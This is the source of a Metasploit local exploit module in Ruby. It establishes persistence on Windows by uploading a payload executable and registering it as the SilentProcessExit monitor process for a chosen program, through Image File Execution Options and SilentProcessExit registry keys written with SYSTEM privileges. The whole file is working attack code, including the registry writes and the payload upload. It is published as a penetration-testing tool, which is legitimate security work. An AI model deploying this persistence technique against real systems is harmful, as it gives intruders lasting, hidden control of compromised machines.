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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::Windows::Registry
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  include Msf::Post::Windows::Priv
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Deprecated
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  moved_from 'exploits/windows/local/persistence_image_exec_options'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Silent Process Exit Persistence',
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        'Description' => %q{
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          Windows allows you to set up a debug process when a process exits.
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          This module uploads a payload and declares that it is the debug
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          process to launch when a specified process exits.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Mithun Shanbhag', # earliest author found
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          'bwatters-r7', # msf module
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        ],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Targets' => [
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          [ 'Automatic', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2008-06-28',
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        'Privileged' => true,
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        'References' => [
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          ['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
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          ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
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        ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_sys_config_getenv
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            ]
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          }
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options([
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      OptString.new('PAYLOAD_NAME',
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                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
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      OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
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    ])
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  end
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  def writable_dir
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    d = super
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    return session.sys.config.getenv(d) if d.start_with?('%')
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    d
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  end
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  def check
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    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
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    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
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    return CheckCode::Safe('You must be System to run this Module') unless is_system?
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    CheckCode::Appears('Likely exploitable')
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  end
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  def upload_payload(dest_pathname)
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    payload_exe = generate_payload_exe
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    write_file(dest_pathname, payload_exe)
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    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
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  end
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  def validate_active_host
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    unless is_system?
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      fail_with(Failure::NoAccess, 'You must be System to run this Module')
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    end
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    begin
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      print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
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    rescue Rex::Post::Meterpreter::RequestError => e
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      elog(e)
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      raise Msf::Exploit::Failed, 'Could not connect to session'
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    end
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  end
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  def write_reg_keys(image_file, payload_pathname)
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    reg_keys = []
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    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
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                  value_name: 'GlobalFlag',
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                  type: 'REG_DWORD',
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                  value_value: 512)
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    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
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                  value_name: 'ReportingMode',
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                  type: 'REG_DWORD',
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                  value_value: 1)
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    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
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                  value_name: 'MonitorProcess',
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                  type: 'REG_SZ',
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                  value_value: payload_pathname)
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    silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
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    registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
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    reg_keys.each do |key|
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      registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
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      vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
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      registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
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      unless registry_getvalinfo(key[:key_name], key[:value_name])
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        print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
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        return false
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      end
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    end
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  end
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  def install_persistence
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    validate_active_host
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    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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    temp_path = writable_dir
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    image_file = datastore['IMAGE_FILE']
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    payload_pathname = temp_path + '\\' + payload_name + '.exe'
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    vprint_status("Payload pathname = #{payload_pathname}")
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    upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
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    @clean_up_rc << "rm #{payload_pathname}\n"
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    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
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    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
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    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
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  end
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end
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